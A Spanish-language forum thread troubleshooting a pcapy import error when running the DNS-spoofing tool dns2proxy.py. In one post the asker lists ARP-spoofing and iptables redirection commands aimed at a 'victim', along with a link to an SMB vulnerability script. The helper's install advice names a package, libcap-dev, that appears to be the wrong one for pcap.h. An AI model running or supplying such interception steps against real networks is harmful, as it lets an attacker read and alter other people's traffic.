problema dns2proxy.py

Iniciado por cancervero, 22 Marzo 2020, 03:39 AM

0 Miembros y 1 Visitante están viendo este tema.

cancervero

Gente, tengo este problema al momento de correr dns2proxy.py

Traceback (most recent call last):
  File "dns2proxy.py", line 29, in <module>
    import pcapy
ImportError: No module named pcapy

Alguien tiene idea como solucionarlo?


Gracias

engel lex

el error lo dice "No module named pcapy" es decir no tienes el modulo llamado pcapy... asegurate de instalar los modulos necesarios antes
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

cancervero

descargué dnspython 1.16.0 y pcapy 0.11.3 y los instalé, pero no se solucionó el problema. Alguna otra idea?

por cierto, gracias por tu ayuda.

engel lex

#3
que error te da? si es el mismo, como intentaste solucionarlo?

da detalles, recuerda que no se lo que tu sabes y no veo lo que tu ves... así que es importante
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

cancervero

En primer lugar sigo estos pasos:

Instalar exploit
Enlace: https://svn.nmap.org/nmap/scripts/smb-vuln-ms17-010.nse
•echo "1" > /proc/sys/net/ipv4/ip_forward
•iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
•iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
•arpspoof -i eth0 -t ipvictima ipgateway –r
             
Instalar dn2proxy.py
Enlace: http://www.mediafire.com/file/a7wga4ov7w57d7h/dns2proxy-master.zip/file
•python dns2proxy.py

cuando corro dns2proxy.py

me da este error:

root@kali:~/Escritorio/CTHO/dns2proxy-master# sudo python dns2proxy.py install
Traceback (most recent call last):
  File "dns2proxy.py", line 29, in <module>
    import pcapy
ImportError: No module named pcapy

Para solucionar esto, descargué pcapy-0.11.4.tar
y me da este error:

capdumper.cc:11:10: fatal error: pcap.h: No existe el fichero o el directorio
   11 | #include <pcap.h>
      |          ^~~~~~~~
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1

El dnspython-1.16.0 los intalé sin problema.

Hasta este punto me quedé, gracias por tu ayuda.



engel lex

como instalaste el pcapy?
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

cancervero

root@kali:~/Escritorio/pcapy-0.11.3# ls
bpfobj.cc  LICENSE        pcapobj.cc      pcapy.cc        pcapy.xml  setup.py
bpfobj.h   MANIFEST.in    pcapobj.h       pcapy.egg-info  PKG-INFO   tests
build      pcapdumper.cc  pcap_pkthdr.cc  pcapy.h         README     win32
ChangeLog  pcapdumper.h   pcap_pkthdr.h   pcapy.html      setup.cfg

root@kali:~/Escritorio/pcapy-0.11.3# sudo python setup.py install
running install
running bdist_egg
running egg_info
writing pcapy.egg-info/PKG-INFO
writing top-level names to pcapy.egg-info/top_level.txt
writing dependency_links to pcapy.egg-info/dependency_links.txt
reading manifest file 'pcapy.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
writing manifest file 'pcapy.egg-info/SOURCES.txt'
installing library code to build/bdist.linux-x86_64/egg
running install_lib
running build_ext
building 'pcapy' extension
x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -Wdate-time -D_FORTIFY_SOURCE=2 -g -fdebug-prefix-map=/build/python2.7-07FOaN/python2.7-2.7.17=. -fstack-protector-strong -Wformat -Werror=format-security -fPIC -I/usr/include/python2.7 -c pcapdumper.cc -o build/temp.linux-x86_64-2.7/pcapdumper.o
pcapdumper.cc:11:10: fatal error: pcap.h: No existe el fichero o el directorio
   11 | #include <pcap.h>
      |          ^~~~~~~~
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1


engel lex

ok... te recomiendo empaparte un poco de conceptos generales antes de hacer intentos especificos...


en este caso tu error es
fatal error: pcap.h: No existe el fichero o el directorio

esto quiere decir que no está la libreria de desarrollo pcap en el sistema y C/C++ no pudo compilar porque no lo consiguió, esta la instalas

sudo apt-get install libcap-dev

por otro lado mejor instala la libreria pcapy que corresponda a tu sistema directamente desde pip

sudo pip install pcapy

(si no la cosigue o necesitas exactamente esa version de pcapy entonces hazlo de la forma complicada)

si no consigue pip

sudo apt-get install python-pip
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

cancervero

Listo man, muchas gracias, ya lo solucioné.

Sombraxk

Brody, yo tengo el mismo problema, me podrias brindar asesoria porfa